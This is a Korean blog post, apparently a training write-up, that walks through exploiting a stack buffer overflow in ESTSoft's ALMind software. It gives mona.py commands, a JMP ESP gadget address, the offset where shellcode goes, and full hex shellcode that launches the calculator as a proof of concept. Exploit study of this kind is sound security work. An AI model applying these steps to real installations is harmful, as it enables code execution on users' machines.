ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Windows] ALMind 1day Exploit
    System/Windows 2019. 3. 8. 04:25


    이전 글에 이어서 이번에는 Exploit을 하는 과정에 대해서 상세히 정리해보도록 하겠다.

    이전글>>[ESTSoft] ALMind 1day Analysis


    [ Mona.py ]

    mona는 Windows Exploit할 때 굉장히 유용한 툴이다.

    Linux에서 Pwntools같은 존재라고 생각하면 된다.


    mona는 외부 스크립트이기 때문에, 다운받아서 로드해줘야 한다.

    이 과정은 인터넷에 상세하게 있으니 생략하도록 하겠다.


    자, 그럼 어떻게 Exploit할 수 있을까?

    먼저 ALMind의 Mitigation 상황을 확인해보도록 하자


    [ Process Hacker ]

    Process Hacker로 확인해보면, 아무런 보호기법이 적용되어 있지 않다.

    그렇다면 가장 단순하고 효과적인 쉘코드를 이용해 보도록 하자


    쉘코드는 PoC용도로 계산기를 실행시켜주는 코드로 준비했다.


    [ Win32 exec Calc Shellcode ]

    31 D2 52 68 63 61 6C 63 54 59 52 51 64 8B 72 30 8B 76 0C 8B 76 0C AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 54 1F 24 0F B7 2C 17 42 42 AD 81 3C 07 57 69 6E 45 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7


    그럼 이제 쉘코드를 저장한 다음에 Shellcode의 시작주소로 RET를 조작하면 될까?

    물론, Exploit은 가능하겠지만 범용성이 떨어지게 된다.

    Target환경에 따라서 쉘코드가 밀릴수도 있고 더 당겨질 수도 있기 때문에 Exploit이 100% 보장될 수 없다.


    따라서, [JMP ESP]가젯을 이용해서 Shellcode를 실행시켜주는게 좋다.

    이러한 기법을 트램펄린 기법이라고 한다.


    [ Find No ASLR ]

    !py mona noaslr명령어를 이용해서 [JMP ESP]가젯을 찾을 모듈을 검색한다.

    총 4개의 모듈이 검색되는데, 여기서는 마지막 'HMindmapApp.dll'에서 가젯을 찾도록 하겠다.


    [ Find "\xff\xef" ]

    !py mona find -s "\xff\xe4" -m HMindApp

    명령어를 이용해서 가젯을 검색하면 밑에 결과가 쭉 나오는데,

    주의해야할 점은 실행권한이 있는 Page에 위치한 가젯들만 사용해야 한다.


    [ ESP 위치확인#1 ]

    이후 Shellcode를 올릴 ESP위치를 확인해준다.

    우리가 핸들링한 RET(0x41414141)가 실행된 후의 ESP가 어딜 가리키고 있는지 확인하는 과정이다.

    저 빨간 박스 부분의 데이터를 복사한 뒤 파일에서 저 데이터를 찾아주면 된다.


    [ ESP 위치확인#2 ]

    헥스편집기로 열어서 데이터를 찾아보면 ESP위치가 [0x1CC4]임을 확인할 수 있다.

    이제 [0x1CC4]에 쉘코드를 넣어주고, RET에는 [JMP ESP]가젯의 주소를 넣어주면 된다.


    [ Save Shellcode ]

    이렇게 RET공간에 "\x2D\xF1\x03\x01"을 저장하고

    ESP공간에 Shellcode를 저장해주면 된다.


    [ Exploit! ]

    그리고 다시 파일을 실행시켜 주면 쉘코드가 동작하면서 계산기가 실행되게 된다.


    이 계산기가 나의 첫 계산기였는데, 그때의 감동은 거의 뭐 말로 표현할 수 없다.

    트레이닝을 통해 띄운 계산기지만, 다음에는 0Day를 증명하는 PoC로 띄어보는게 목적이다.


    이 글을 보시는 분들 중 Windows Exploit분석을 연습 해보고 싶으시다면

    이전글에 동일한 Crash파일이랑 제가 정리한 Exploit문서 올려둘테니 따라해보시길 바랍니다.


    Happy Hacking! :)

    'System > Windows' 카테고리의 다른 글

    Universal Calc Shellcode (+ExitProcess)  (0) 2020.01.26
    Notepad++_v7.6.3 Command Injection  (1) 2019.06.13
    [Windows] ALMind 1day Analysis  (3) 2019.03.08

    댓글

Designed by Tistory.